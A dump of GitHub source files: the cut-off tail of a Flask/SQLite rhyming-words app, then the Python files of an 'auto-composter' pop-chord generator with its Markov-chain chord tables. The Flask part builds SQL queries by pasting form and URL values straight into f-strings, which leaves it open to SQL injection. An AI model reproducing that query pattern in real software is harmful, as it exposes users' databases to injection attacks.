'POST'])\ndef add_words():\n if request.method == 'GET':\n return render_template('add_words.html')\n else:\n print(request.form.get('test'))\n ending = request.form.get('ending')\n words = request.form.getlist('word')\n meanings = request.form.getlist('meaning')\n\n for word, meaning in zip(words, meanings):\n try:\n with conn:\n db.execute(f\"INSERT INTO Meanings (word, meaning) VALUES ('{word}', '{meaning}')\")\n except sqlite3.IntegrityError:\n words.remove(word)\n\n try:\n with conn:\n db.execute(f\"ALTER TABLE RhymingWords ADD COLUMN {ending} varchar(100) DEFAULT ''\")\n except sqlite3.OperationalError:\n pass\n\n table_len = len(db.execute(\"SELECT * FROM RhymingWords\").fetchall())\n filled = db.execute(f\"SELECT id FROM RhymingWords WHERE {ending} = '' LIMIT 1\").fetchone()[0]\n if table_len - filled <= len(words):\n for i in range(table_len, len(words) + filled + 1):\n with conn:\n db.execute(f\"INSERT INTO RhymingWords (id) VALUES ({i})\")\n \n \n for index, word in enumerate(words):\n with conn:\n db.execute(f\"UPDATE RhymingWords SET {ending} = '{word}' WHERE id = '{filled + index}'\")\n\n \n\n return redirect('/')\n\[email protected]('/get_words')\ndef get_words():\n ending = request.args.get('ending')\n rows = db_row.execute(f'SELECT {ending} FROM RhymingWords').fetchall()\n word_meanings = {}\n for row in rows:\n if row == '':\n break\n word_meanings[row] = None\n for word in word_meanings:\n word_meanings[word] = db_row.execute(\"SELECT meaning FROM Meanings WHERE word = :word\", {'word' : word}).fetchone()\n return render_template('words_template.html', word_meanings=word_meanings)\n\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)" } ]
4
aeudet/auto-composter
https://github.com/aeudet/auto-composter
00cfba18c3340615197f5722da980ba2648b7f6d
be523fe82d6b763e467213f28920b9fc587b54d4
d06c76067573e17bbcc18edf45b232e2cba8080f
refs/heads/master
2020-05-17T07:56:22.382709
2015-09-18T19:08:37
2015-09-18T19:08:37
22,365,193
0
0
null
2014-07-29T02:37:41
2014-11-20T03:31:32
2014-12-24T06:13:05
null
[ { "alpha_fraction": 0.42568162083625793, "alphanum_fraction": 0.45998239517211914, "avg_line_length": 27.4375, "blob_id": "b8bcb3707b3f6c803afa52786ac9bc755ebfefa6", "content_id": "1805858a9e91bf51c885dab387e0ce19a402c4b3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2284, "license_type": "no_license", "max_line_length": 81, "num_lines": 80, "path": "/music_def.py", "repo_name": "aeudet/auto-composter", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\nMAJOR_SCALE_INTERVALS = [ 0, 2, 2, 1, 2, 2, 2, 1 ]\nMINOR_SCALE_INTERVALS = [ 0, 2, 1, 2, 2, 1, 2, 2 ]\n\nMAJOR_KEYS = [ \"A\", \"Bb\", \"B\", \"C\", \"Db\", \"D\", \"Eb\", \"E\", \"F\", \"Gb\", \"G\", \"Ab\" ]\nMINOR_KEYS = [ \"A\", \"Bb\", \"B\", \"C\", \"C#\", \"D\", \"Eb\", \"E\", \"F\", \"F#\", \"G\", \"G#\" ]\n\nKEY_TYPE_MAJOR = {\n\"A\": \"sharp\",\n\"Bb\": \"flat\",\n\"B\": \"sharp\",\n\"C\": \"none\",\n\"Db\": \"flat\",\n\"D\": \"sharp\",\n\"Eb\": \"flat\",\n\"E\": \"sharp\",\n\"F\": \"flat\",\n\"Gb\": \"flat\",\n\"G\": \"sharp\",\n\"Ab\": \"flat\"\n}\nKEY_TYPE_MINOR = {\n\"A\": \"none\",\n\"Bb\": \"flat\",\n\"B\": \"sharp\",\n\"C\": \"flat\",\n\"C#\": \"sharp\",\n\"D\": \"flat\", \n\"Eb\": \"flat\",\n\"E\": \"sharp\",\n\"F\": \"flat\",\n\"F#\": \"sharp\",\n\"G\": \"flat\",\n\"G#\": \"sharp\"\n}\n\nNOTES_SHARP = [ \"A\", \"A#\", \"B\", \"C\", \"C#\", \"D\", \"D#\", \"E\", \"F\", \"F#\", \"G\", \"G#\" ]\nNOTES_FLAT = [ \"A\", \"Bb\", \"B\", \"C\", \"Db\", \"D\", \"Eb\", \"E\", \"F\", \"Gb\", \"G\", \"Ab\" ]\n\nCHORD_DETAILS = {\n\"I\": {\"interval\": 1, \"type\": \"\"},\n\"i\": {\"interval\": 1, \"type\": \"m\"},\n\"I7\": {\"interval\": 1, \"type\": \"M7\"},\n\"i7\": {\"interval\": 1, \"type\": \"m7\"},\n\"II\": {\"interval\": 2, \"type\": \"\"},\n\"ii\": {\"interval\": 2, \"type\": \"m\"},\n\"ii7\": {\"interval\": 2, \"type\": \"m7\"},\n\"ii°\": {\"interval\": 2, \"type\": \"°\"},\n\"iiø7\": {\"interval\": 2, \"type\": \"ø7\"},\n\"III\": {\"interval\": 3, \"type\": \"\"},\n\"iii\": {\"interval\": 3, \"type\": \"m\"},\n\"III7\": {\"interval\": 3, \"type\": \"M7\"},\n\"iii7\": {\"interval\": 3, \"type\": \"m7\"},\n\"IV\": {\"interval\": 4, \"type\": \"\"},\n\"iv\": {\"interval\": 4, \"type\": \"m\"},\n\"IV7\": {\"interval\": 4, \"type\": \"M7\"},\n\"iv7\": {\"interval\": 4, \"type\": \"m7\"},\n\"V\": {\"interval\": 5, \"type\": \"\"},\n\"v\": {\"interval\": 5, \"type\": \"m\"},\n\"V7\": {\"interval\": 5, \"type\": \"7\"},\n\"VI\": {\"interval\": 6, \"type\": \"\"},\n\"vi\": {\"interval\": 6, \"type\": \"m\"},\n\"VI7\": {\"interval\": 6, \"type\": \"M7\"},\n\"vi7\": {\"interval\": 6, \"type\": \"m7\"},\n\"VII\": {\"interval\": 7, \"type\": \"\"},\n\"vii\": {\"interval\": 7, \"type\": \"m\"},\n\"vii°\": {\"interval\": 7, \"type\": \"°\"},\n\"vii°7\": {\"interval\": 7, \"type\": \"°7\"},\n\"viiø7\": {\"interval\": 7, \"type\": \"ø7\"}\n}\n\nMODULATION_DESC = {\n\"none\": {\"semitones\": 0, \"change_scale\": False},\n\"parallel\": {\"semitones\": 0, \"change_scale\": True},\n\"relative_major\": {\"semitones\": 3, \"change_scale\": True},\n\"relative_minor\": {\"semitones\": -3, \"change_scale\": True},\n\"neighbour_up\": {\"semitones\": 7, \"change_scale\": False},\n\"neighbour_down\": {\"semitones\": -7, \"change_scale\": False}\n}" }, { "alpha_fraction": 0.2757411003112793, "alphanum_fraction": 0.36460554599761963, "avg_line_length": 27.96215057373047, "blob_id": "6a70c37ef2d9cb98c2782cd36cfb8a3fff7836c0", "content_id": "1d1a2d99cd7911c5309b74eead7837c7fbe7eb45", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 14624, "license_type": "no_license", "max_line_length": 78, "num_lines": 502, "path": "/formula.py", "repo_name": "aeudet/auto-composter", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\nSCALE_FREQ = (\n [\"major\"] * 2 +\n [\"minor\"] * 1\n )\n\nNUM_BARS_FREQ = (\n [1] * 3 +\n [2] * 15 +\n [4] * 59 +\n [8] * 6\n )\n\nCHORDS_PER_BAR_FREQ = (\n [1] * 84 +\n [2] * 19 +\n [3] * 2 +\n [4] * 1\n )\n\nTIME_SIG_FREQ = (\n [4]\n )\n\nBPM_TRIANGLE = ( 54, 141, 120 ) # (min, max, mode)\n\nNUM_SECTIONS_FREQ = range(2, 7)\n\n# repeats = REPEAT_BASE_FREQ + REPEAT_TEMPO_MOD_FREQ / bars_per_progression\n\nREPEAT_BASE_FREQ = (\n [2] * 3 +\n [4] * 18 +\n [8] * 29 +\n [12] * 33 +\n [16] * 28 +\n [24] * 4\n )\n\nREPEAT_SLOW_MOD_FREQ = (\n [0] * 12 +\n [2] * 12 +\n [4] * 2 +\n [8] * 1\n )\n\nREPEAT_MODERATE_SLOW_MOD_FREQ = (\n [4] * 12 +\n [6] * 12 +\n [8] * 2 +\n [12] * 1\n )\n\nREPEAT_MODERATE_MOD_FREQ = (\n [6] * 12 +\n [8] * 12 +\n [12] * 1\n )\n\nREPEAT_FAST_MOD_FREQ = (\n [8] * 16 +\n [10] * 16 +\n [12] * 16 +\n [16] * 2 +\n [20] * 1\n )\n\nMODULATION_FREQ = (\n [\"none\"] * 22 +\n [\"parallel\"] * 2 +\n [\"relative\"] * 2 +\n [\"neighbour_up\"] * 2 +\n [\"neighbour_down\"] * 2\n )\n \nSTRUCTURE_CHAIN = {\n \"A\": {\"A\": 1, \"B\": 6, \"C\": 6, \"D\": 5, \"E\": 3, \"F\": 3, \"G\": 3},\n \"B\": {\"A\": 6, \"B\": 1, \"C\": 3, \"D\": 5, \"E\": 3, \"F\": 3, \"G\": 3},\n \"C\": {\"A\": 6, \"B\": 4, \"C\": 1, \"D\": 4, \"E\": 3, \"F\": 3, \"G\": 3},\n \"D\": {\"A\": 2, \"B\": 2, \"C\": 2, \"D\": 1, \"E\": 6, \"F\": 3, \"G\": 3},\n \"E\": {\"A\": 4, \"B\": 2, \"C\": 4, \"D\": 4, \"E\": 1, \"F\": 4, \"G\": 3},\n \"F\": {\"A\": 3, \"B\": 3, \"C\": 3, \"D\": 3, \"E\": 3, \"F\": 1, \"G\": 3},\n \"G\": {\"A\": 1, \"B\": 1, \"C\": 1, \"D\": 1, \"E\": 1, \"F\": 1, \"G\": 1}\n}\n\nMAJOR_CHAIN = {\n\n# Starting Chords\n\n # Start\n \"start\": {\n # Primary\n \"I\": 60, \"ii\": 6, \"iii\": 0, \"IV\": 6, \"V\": 7, \"vi\": 1, \"viiø7\": 0,\n # Sevenths\n \"I7\": 0, \"ii7\": 0, \"iii7\": 0, \"IV7\": 0, \"V7\": 0, \"vi7\": 0,\n # Parallel/Relative\n \"i\": 0, \"II\": 0, \"III\": 0, \"iv\": 0, \"v\": 0, \"VI\": 0\n },\n\n# Regular Tones Major\n \n # Tonic (I)\n \"I\": {\n # Primary\n \"I\": 60, \"ii\": 60, \"iii\": 60, \"IV\": 60, \"V\": 60, \"vi\": 60, \"viiø7\": 0,\n # Sevenths\n \"I7\": 2, \"ii7\": 4, \"iii7\": 0, \"IV7\": 0, \"V7\": 4, \"vi7\": 0,\n # Parallel/Relative\n \"i\": 0, \"II\": 0, \"III\": 0, \"iv\": 0, \"v\": 0, \"VI\": 0\n },\n\n # Super Tonic (ii)\n \"ii\": {\n # Primary\n \"I\": 3, \"ii\": 0, \"iii\": 0, \"IV\": 0, \"V\": 60, \"vi\": 0, \"viiø7\": 0,\n # Sevenths\n \"I7\": 0, \"ii7\": 0, \"iii7\": 0, \"IV7\": 2, \"V7\": 0, \"vi7\": 0,\n # Parallel/Relative\n \"i\": 0, \"II\": 0, \"III\": 0, \"iv\": 0, \"v\": 0, \"VI\": 0\n },\n\n # Mediant (iii) \n \"iii\": {\n # Primary\n \"I\": 0, \"ii\": 60, \"iii\": 0, \"IV\": 60, \"V\": 0, \"vi\": 60, \"viiø7\": 0,\n # Sevenths\n \"I7\": 0, \"ii7\": 3, \"iii7\": 0, \"IV7\": 0, \"V7\": 0, \"vi7\": 0,\n # Parallel/Relative\n \"i\": 0, \"II\": 0, \"III\": 0, \"iv\": 0, \"v\": 0, \"VI\": 0\n },\n\n # Subdominant (IV)\n \"IV\": {\n # Primary\n \"I\": 0, \"ii\": 60, \"iii\": 0, \"IV\": 0, \"V\": 60, \"vi\": 0, \"viiø7\": 0,\n # Sevenths\n \"I7\": 0, \"ii7\": 2, \"iii7\": 0, \"IV7\": 0, \"V7\": 0, \"vi7\": 0,\n # Parallel/Relative\n \"i\": 0, \"II\": 0, \"III\": 0, \"iv\": 0, \"v\": 0, \"VI\": 0\n },\n\n # Dominant (V)\n \"V\": {\n # Primary\n \"I\": 60, \"ii\": 0, \"iii\": 0, \"IV\": 60, \"V\": 0, \"vi\": 60, \"viiø7\": 0,\n # Sevenths\n \"I7\": 0, \"ii7\": 0, \"iii7\": 0, \"IV7\": 2, \"V7\": 3, \"vi7\": 0,\n # Parallel/Relative\n \"i\": 0, \"II\": 0, \"III\": 0, \"iv\": 0, \"v\": 0, \"VI\": 0\n },\n\n # Submediant (vi)\n \"vi\": {\n # Primary\n \"I\": 0, \"ii\": 60, \"iii\": 0, \"IV\": 60, \"V\": 0, \"vi\": 0, \"viiø7\": 0,\n # Sevenths\n \"I7\": 0, \"ii7\": 2, \"iii7\": 0, \"IV7\": 0, \"V7\": 0, \"vi7\": 0,\n # Parallel/Relative\n \"i\": 0, \"II\": 0, \"III\": 0, \"iv\": 0, \"v\": 0, \"VI\": 0\n },\n\n # Leading Tone (vii)\n \"vii°\": {\n # Primary\n \"I\": 60, \"ii\": 0, \"iii\": 0, \"IV\": 0, \"V\": 0, \"vi\": 60, \"viiø7\": 0,\n # Sevenths\n \"I7\": 0, \"ii7\": 0, \"iii7\": 0, \"IV7\": 0, \"V7\": 0, \"vi7\": 0,\n # Parallel/Relative\n \"i\": 0, \"II\": 0, \"III\": 0, \"iv\": 0, \"v\": 0, \"VI\": 0\n },\n\n# Irregular Tones Major\n\n # Parallel Minor Tonic (i)\n \"i\": {\n # Primary\n \"I\": 60, \"ii\": 60, \"iii\": 60, \"IV\": 60, \"V\": 60, \"vi\": 60, \"viiø7\": 0,\n # Sevenths\n \"I7\": 2, \"ii7\": 4, \"iii7\": 0, \"IV7\": 0, \"V7\": 4, \"vi7\": 0,\n # Parallel/Relative\n \"i\": 0, \"II\": 0, \"III\": 0, \"iv\": 0, \"v\": 0, \"VI\": 0\n },\n\n # Relative Major Chord (II)\n \"II\": {\n # Primary\n \"I\": 3, \"ii\": 0, \"iii\": 0, \"IV\": 0, \"V\": 60, \"vi\": 0, \"viiø7\": 0,\n # Sevenths\n \"I7\": 0, \"ii7\": 0, \"iii7\": 0, \"IV7\": 2, \"V7\": 0, \"vi7\": 0,\n # Parallel/Relative\n \"i\": 0, \"II\": 0, \"III\": 0, \"iv\": 0, \"v\": 0, \"VI\": 0\n },\n\n # Relative Major Chord (III)\n \"III\": {\n # Primary\n \"I\": 0, \"ii\": 60, \"iii\": 0, \"IV\": 60, \"V\": 0, \"vi\": 60, \"viiø7\": 0,\n # Sevenths\n \"I7\": 0, \"ii7\": 3, \"iii7\": 0, \"IV7\": 0, \"V7\": 0, \"vi7\": 0,\n # Parallel/Relative\n \"i\": 0, \"II\": 0, \"III\": 0, \"iv\": 0, \"v\": 0, \"VI\": 0\n },\n\n # Parallel Minor Chord (iv)\n \"iv\": {\n # Primary\n \"I\": 0, \"ii\": 60, \"iii\": 0, \"IV\": 0, \"V\": 60, \"vi\": 0, \"viiø7\": 0,\n # Sevenths\n \"I7\": 0, \"ii7\": 2, \"iii7\": 0, \"IV7\": 0, \"V7\": 0, \"vi7\": 0,\n # Parallel/Relative\n \"i\": 0, \"II\": 0, \"III\": 0, \"iv\": 0, \"v\": 0, \"VI\": 0\n }, \n \n # Parallel Minor Chord (v)\n \"v\": {\n # Primary\n \"I\": 60, \"ii\": 0, \"iii\": 0, \"IV\": 60, \"V\": 0, \"vi\": 60, \"viiø7\": 0,\n # Sevenths\n \"I7\": 0, \"ii7\": 0, \"iii7\": 0, \"IV7\": 2, \"V7\": 3, \"vi7\": 0,\n # Parallel/Relative\n \"i\": 0, \"II\": 0, \"III\": 0, \"iv\": 0, \"v\": 0, \"VI\": 0\n }, \n\n # Relative Major Chord (VI)\n \"VI\": {\n # Primary\n \"I\": 0, \"ii\": 60, \"iii\": 0, \"IV\": 60, \"V\": 0, \"vi\": 0, \"viiø7\": 0,\n # Sevenths\n \"I7\": 0, \"ii7\": 2, \"iii7\": 0, \"IV7\": 0, \"V7\": 0, \"vi7\": 0,\n # Parallel/Relative\n \"i\": 0, \"II\": 0, \"III\": 0, \"iv\": 0, \"v\": 0, \"VI\": 0\n },\n\n#Seventh Chords Major\n\n # Seventh (I7)\n \"I7\": {\n # Primary\n \"I\": 60, \"ii\": 60, \"iii\": 60, \"IV\": 60, \"V\": 60, \"vi\": 60, \"viiø7\": 0,\n # Sevenths\n \"I7\": 2, \"ii7\": 4, \"iii7\": 0, \"IV7\": 0, \"V7\": 4, \"vi7\": 0,\n # Parallel/Relative\n \"i\": 0, \"II\": 0, \"III\": 0, \"iv\": 0, \"v\": 0, \"VI\": 0\n },\n\n # Seventh (ii7)\n \"ii7\": {\n # Primary\n \"I\": 3, \"ii\": 0, \"iii\": 0, \"IV\": 0, \"V\": 60, \"vi\": 0, \"viiø7\": 0,\n # Sevenths\n \"I7\": 0, \"ii7\": 0, \"iii7\": 0, \"IV7\": 2, \"V7\": 0, \"vi7\": 0,\n # Parallel/Relative\n \"i\": 0, \"II\": 0, \"III\": 0, \"iv\": 0, \"v\": 0, \"VI\": 0\n },\n\n # Seventh (V7)\n \"V7\": {\n # Primary\n \"I\": 60, \"ii\": 0, \"iii\": 0, \"IV\": 60, \"V\": 0, \"vi\": 60, \"viiø7\": 0,\n # Sevenths\n \"I7\": 0, \"ii7\": 0, \"iii7\": 0, \"IV7\": 2, \"V7\": 3, \"vi7\": 0,\n # Parallel/Relative\n \"i\": 0, \"II\": 0, \"III\": 0, \"iv\": 0, \"v\": 0, \"VI\": 0\n },\n\n # Seventh (vii°7)\n \"vii°7\": {\n # Primary\n \"I\": 60, \"ii\": 0, \"iii\": 0, \"IV\": 0, \"V\": 0, \"vi\": 60, \"viiø7\": 0,\n # Sevenths\n \"I7\": 0, \"ii7\": 0, \"iii7\": 0, \"IV7\": 0, \"V7\": 0, \"vi7\": 0,\n # Parallel/Relative\n \"i\": 0, \"II\": 0, \"III\": 0, \"iv\": 0, \"v\": 0, \"VI\": 0\n },\n \n#Ending Chords Major\n\n #End_I - Resolve Chords Starting First\n \"end_I\": {\n # Primary\n \"I\": 0, \"ii\": 15, \"iii\": 15, \"IV\": 15, \"V\": 60, \"vi\": 15, \"viiø7\": 0,\n # Sevenths\n \"I7\": 0, \"ii7\": 0, \"iii7\": 0, \"IV7\": 1, \"V7\": 0, \"vi7\": 0,\n # Parallel/Relative\n \"i\": 0, \"II\": 0, \"III\": 0, \"iv\": 0, \"v\": 0, \"VI\": 0\n },\n\n #End_other - Resolve Chords Starting Anything Else\n \"end_other\": {\n # Primary\n \"I\": 60, \"ii\": 0, \"iii\": 0, \"IV\": 15, \"V\": 15, \"vi\": 0, \"viiø7\": 0,\n # Sevenths\n \"I7\": 0, \"ii7\": 0, \"iii7\": 0, \"IV7\": 0, \"V7\": 2, \"vi7\": 0,\n # Parallel/Relative\n \"i\": 0, \"II\": 0, \"III\": 0, \"iv\": 0, \"v\": 0, \"VI\": 0\n },\n}\n\nMINOR_CHAIN = {\n \n#Starting Chords\n\n # Start\n \"start\": {\n # Primary\n \"i\": 60, \"ii°\": 0, \"III\": 0, \"iv\": 5, \"v\": 5, \"VI\": 0, \"VII\": 0,\n # Sevenths\n \"i7\": 0, \"iiø7\": 0, \"III7\": 0, \"iv7\": 0, \"V7\": 0, \"VII7\": 0,\n # Parallel/Relative\n \"I\": 0, \"II\": 0, \"iii\": 0, \"IV\": 0, \"V\": 0, \"vi\": 0, \"viiø7\": 0\n },\n\n#Regular Tones Minor\n\n # Tonic (i)\n \"i\": {\n # Primary\n \"i\": 60, \"ii°\": 0, \"III\": 60, \"iv\": 60, \"v\": 60, \"VI\": 60, \"VII\": 60,\n # Sevenths\n \"i7\": 0, \"iiø7\": 0, \"III7\": 0, \"iv7\": 0, \"V7\": 2, \"VII7\": 0,\n # Parallel/Relative\n \"I\": 0, \"II\": 0, \"iii\": 0, \"IV\": 0, \"V\": 0, \"vi\": 0, \"viiø7\": 0\n },\n\n # Super Tonic (ii°)\n \"ii°\": {\n # Primary\n \"i\": 5, \"ii°\": 0, \"III\": 0, \"iv\": 0, \"v\": 60, \"VI\": 0, \"VII\": 60,\n # Sevenths\n \"i7\": 0, \"iiø7\": 0, \"III7\": 0, \"iv7\": 0, \"V7\": 2, \"VII7\": 0,\n # Parallel/Relative\n \"I\": 0, \"II\": 0, \"iii\": 0, \"IV\": 0, \"V\": 0, \"vi\": 0, \"viiø7\": 0\n },\n\n # Mediant (III)\n \"III\": {\n # Primary\n \"i\": 0, \"ii°\": 0, \"III\": 0, \"iv\": 60, \"v\": 0, \"VI\": 60, \"VII\": 0,\n # Sevenths\n \"i7\": 0, \"iiø7\": 0, \"III7\": 0, \"iv7\": 0, \"V7\": 2, \"VII7\": 0,\n # Parallel/Relative\n \"I\": 0, \"II\": 0, \"iii\": 0, \"IV\": 0, \"V\": 0, \"vi\": 0, \"viiø7\": 0\n },\n\n # Subdominant (iv)\n \"iv\": {\n # Primary\n \"i\": 3, \"ii°\": 0, \"III\": 0, \"iv\": 0, \"v\": 60, \"VI\": 0, \"VII\": 60,\n # Sevenths\n \"i7\": 0, \"iiø7\": 0, \"III7\": 0, \"iv7\": 0, \"V7\": 2, \"VII7\": 0,\n # Parallel/Relative\n \"I\": 0, \"II\": 0, \"iii\": 0, \"IV\": 0, \"V\": 0, \"vi\": 0, \"viiø7\": 0\n },\n\n # Dominant (v)\n \"v\": {\n # Primary\n \"i\": 60, \"ii°\": 0, \"III\": 0, \"iv\": 0, \"v\": 0, \"VI\": 60, \"VII\": 0,\n # Sevenths\n \"i7\": 0, \"iiø7\": 0, \"III7\": 0, \"iv7\": 0, \"V7\": 2, \"VII7\": 0,\n # Parallel/Relative\n \"I\": 0, \"II\": 0, \"iii\": 0, \"IV\": 0, \"V\": 0, \"vi\": 0, \"viiø7\": 0\n },\n\n # Submediant (VI)\n \"VI\": {\n # Primary\n \"i\": 0, \"ii°\": 0, \"III\": 60, \"iv\": 60, \"v\": 0, \"VI\": 0, \"VII\": 0,\n # Sevenths\n \"i7\": 0, \"iiø7\": 0, \"III7\": 0, \"iv7\": 0, \"V7\": 0, \"VII7\": 0,\n # Parallel/Relative\n \"I\": 0, \"II\": 0, \"iii\": 0, \"IV\": 0, \"V\": 0, \"vi\": 0, \"viiø7\": 0\n },\n\n # Leading Tone (VII) \n \"VII\": {\n # Primary\n \"i\": 0, \"ii°\": 0, \"III\": 60, \"iv\": 0, \"v\": 0, \"VI\": 0, \"VII\": 0,\n # Sevenths\n \"i7\": 0, \"iiø7\": 0, \"III7\": 0, \"iv7\": 0, \"V7\": 0, \"VII7\": 0,\n # Parallel/Relative\n \"I\": 0, \"II\": 0, \"iii\": 0, \"IV\": 0, \"V\": 0, \"vi\": 0, \"viiø7\": 0\n },\n\n# Irregular Tones Minor\n\n # Relative Minor Chord (II)\n \"II\": {\n # Primary\n \"i\": 5, \"ii°\": 0, \"III\": 0, \"iv\": 0, \"v\": 60, \"VI\": 0, \"VII\": 60,\n # Sevenths\n \"i7\": 0, \"iiø7\": 0, \"III7\": 0, \"iv7\": 0, \"V7\": 2, \"VII7\": 0,\n # Parallel/Relative\n \"I\": 0, \"II\": 0, \"iii\": 0, \"IV\": 0, \"V\": 0, \"vi\": 0, \"viiø7\": 0\n },\n\n # Relative Minor Chord (iii)\n \"iii\": {\n # Primary\n \"i\": 0, \"ii°\": 0, \"III\": 0, \"iv\": 60, \"v\": 0, \"VI\": 60, \"VII\": 0,\n # Sevenths\n \"i7\": 0, \"iiø7\": 0, \"III7\": 0, \"iv7\": 0, \"V7\": 2, \"VII7\": 0,\n # Parallel/Relative\n \"I\": 0, \"II\": 0, \"iii\": 0, \"IV\": 0, \"V\": 0, \"vi\": 0, \"viiø7\": 0\n },\n\n # Parallel Major Chord (IV)\n \"IV\": {\n # Primary\n \"i\": 3, \"ii°\": 0, \"III\": 0, \"iv\": 0, \"v\": 60, \"VI\": 0, \"VII\": 60,\n # Sevenths\n \"i7\": 0, \"iiø7\": 0, \"III7\": 0, \"iv7\": 0, \"V7\": 2, \"VII7\": 0,\n # Parallel/Relative\n \"I\": 0, \"II\": 0, \"iii\": 0, \"IV\": 0, \"V\": 0, \"vi\": 0, \"viiø7\": 0\n },\n\n # Parallel Major Chord (V) \n \"V\": {\n # Primary\n \"i\": 60, \"ii°\": 0, \"III\": 0, \"iv\": 0, \"v\": 0, \"VI\": 60, \"VII\": 0,\n # Sevenths\n \"i7\": 0, \"iiø7\": 0, \"III7\": 0, \"iv7\": 0, \"V7\": 2, \"VII7\": 0,\n # Parallel/Relative\n \"I\": 0, \"II\": 0, \"iii\": 0, \"IV\": 0, \"V\": 0, \"vi\": 0, \"viiø7\": 0\n },\n \n # Relative Minor Chord (vi) \n \"vi\": {\n # Primary\n \"i\": 0, \"ii°\": 0, \"III\": 60, \"iv\": 0, \"v\": 0, \"VI\": 0, \"VII\": 0,\n # Sevenths\n \"i7\": 0, \"iiø7\": 0, \"III7\": 0, \"iv7\": 0, \"V7\": 0, \"VII7\": 0,\n # Parallel/Relative\n \"I\": 0, \"II\": 0, \"iii\": 0, \"IV\": 0, \"V\": 0, \"vi\": 0, \"viiø7\": 0\n },\n\n # Relative Minor Chord (viiø7)\n \"VII\": {\n # Primary\n \"i\": 0, \"ii°\": 0, \"III\": 60, \"iv\": 0, \"v\": 0, \"VI\": 0, \"VII\": 0,\n # Sevenths\n \"i7\": 0, \"iiø7\": 0, \"III7\": 0, \"iv7\": 0, \"V7\": 0, \"VII7\": 0,\n # Parallel/Relative\n \"I\": 0, \"II\": 0, \"iii\": 0, \"IV\": 0, \"V\": 0, \"vi\": 0, \"viiø7\": 0\n },\n\n# Seventh Chords Minor\n\n # Seventh (ii)\n \"iiø7\": {\n # Primary\n \"i\": 0, \"ii°\": 0, \"III\": 0, \"iv\": 0, \"v\": 16, \"VI\": 16, \"VII\": 0,\n # Sevenths\n \"i7\": 0, \"iiø7\": 0, \"III7\": 0, \"iv7\": 0, \"V7\": 0, \"VII7\": 0,\n # Parallel/Relative\n \"I\": 0, \"II\": 0, \"iii\": 0, \"IV\": 0, \"V\": 0, \"vi\": 0, \"viiø7\": 0\n },\n\n # Seventh (v)\n \"V7\": {\n # Primary\n \"i\": 16, \"ii°\": 0, \"III\": 0, \"iv\": 0, \"v\": 0, \"VI\": 16, \"VII\": 0,\n # Sevenths\n \"i7\": 0, \"iiø7\": 0, \"III7\": 0, \"iv7\": 0, \"V7\": 0, \"VII7\": 0,\n # Parallel/Relative\n \"I\": 0, \"II\": 0, \"iii\": 0, \"IV\": 0, \"V\": 0, \"vi\": 0, \"viiø7\": 0\n },\n\n # Seventh (vii)\n \"vii°7\": {\n # Primary\n \"i\": 0, \"ii°\": 0, \"III\": 16, \"iv\": 0, \"v\": 0, \"VI\": 0, \"VII\": 0,\n # Sevenths\n \"i7\": 0, \"iiø7\": 0, \"III7\": 0, \"iv7\": 0, \"V7\": 0, \"VII7\": 0,\n # Parallel/Relative\n \"I\": 0, \"II\": 0, \"iii\": 0, \"IV\": 0, \"V\": 0, \"vi\": 0, \"viiø7\": 0 \n },\n \n\n# Ending Chords Minor\n\n # Resolve Chords Starting First\n \"end_I\": {\n # Primary\n \"i\": 0, \"ii°\": 0, \"III\": 0, \"iv\": 1, \"v\": 60, \"VI\": 0, \"VII\": 0,\n # Sevenths\n \"i7\": 0, \"iiø7\": 0, \"III7\": 0, \"iv7\": 0, \"V7\": 0, \"VII7\": 0,\n # Parallel/Relative\n \"I\": 0, \"II\": 0, \"iii\": 0, \"IV\": 0, \"V\": 0, \"vi\": 0, \"viiø7\": 0\n },\n\n # Resolve Chords Starting Any\n \"end_other\": {\n # Primary\n \"i\": 60, \"ii°\": 0, \"III\": 0, \"iv\": 0, \"v\": 1, \"VI\": 0, \"VII\": 0,\n # Sevenths\n \"i7\": 0, \"iiø7\": 0, \"III7\": 0, \"iv7\": 0, \"V7\": 0, \"VII7\": 0,\n # Parallel/Relative\n \"I\": 0, \"II\": 0, \"iii\": 0, \"IV\": 0, \"V\": 0, \"vi\": 0, \"viiø7\": 0\n },\n}\n" }, { "alpha_fraction": 0.8141809105873108, "alphanum_fraction": 0.8141809105873108, "avg_line_length": 408, "blob_id": "572b3ea1009adb1280e54cd396f907a29b9ccf3a", "content_id": "3aeb1501a189c395e6618d45d375a6489286e15a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 409, "license_type": "no_license", "max_line_length": 408, "num_lines": 1, "path": "/README.md", "repo_name": "aeudet/auto-composter", "src_encoding": "UTF-8", "text": "AUTO COMPOSTER is an automatic pop music composition tool. The program randomly generates a 'pop song', built around randomly generated song structures and chord progressions. The generated 'pop song' can be used as a base for further realized songs. This program automates the arbitrary and/or formal aspects of song writing freeing the musician to focus on things like melody, tone, lyrics, and production.\n" }, { "alpha_fraction": 0.5261415839195251, "alphanum_fraction": 0.5359750986099243, "avg_line_length": 32.02572250366211, "blob_id": "ca7705909574cd7975dd2badfacfb70e19882bb5", "content_id": "1983a01f731d9d308e098a7af9c6c8c4e64f4d5b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10279, "license_type": "no_license", "max_line_length": 103, "num_lines": 311, "path": "/composer.py", "repo_name": "aeudet/auto-composter", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\nimport random\nimport string\nimport formula\nimport music_def as mus\n\nclass Key:\n\n def __init__(self, scale=None, key=None):\n if scale == None:\n self.scale = self.generate_scale()\n else:\n self.scale = scale\n if key == None:\n self.key = self.generate_key()\n else:\n self.key = key\n \n def generate_scale(self):\n return random.choice(formula.SCALE_FREQ)\n \n def generate_key(self):\n if self.scale == \"major\":\n key = random.choice(mus.MAJOR_KEYS)\n elif self.scale == \"minor\":\n key = random.choice(mus.MINOR_KEYS)\n else:\n return None\n return key\n \n def get_type(self):\n if self.scale == \"major\":\n type = mus.KEY_TYPE_MAJOR[self.key]\n elif self.scale == \"minor\":\n type = mus.KEY_TYPE_MINOR[self.key]\n else:\n return None\n return type\n\n def modulate_key(self, semitones, change_scale=False):\n if self.scale == \"major\":\n index = mus.MAJOR_KEYS.index(self.key)\n if change_scale == False:\n keys = mus.MAJOR_KEYS\n 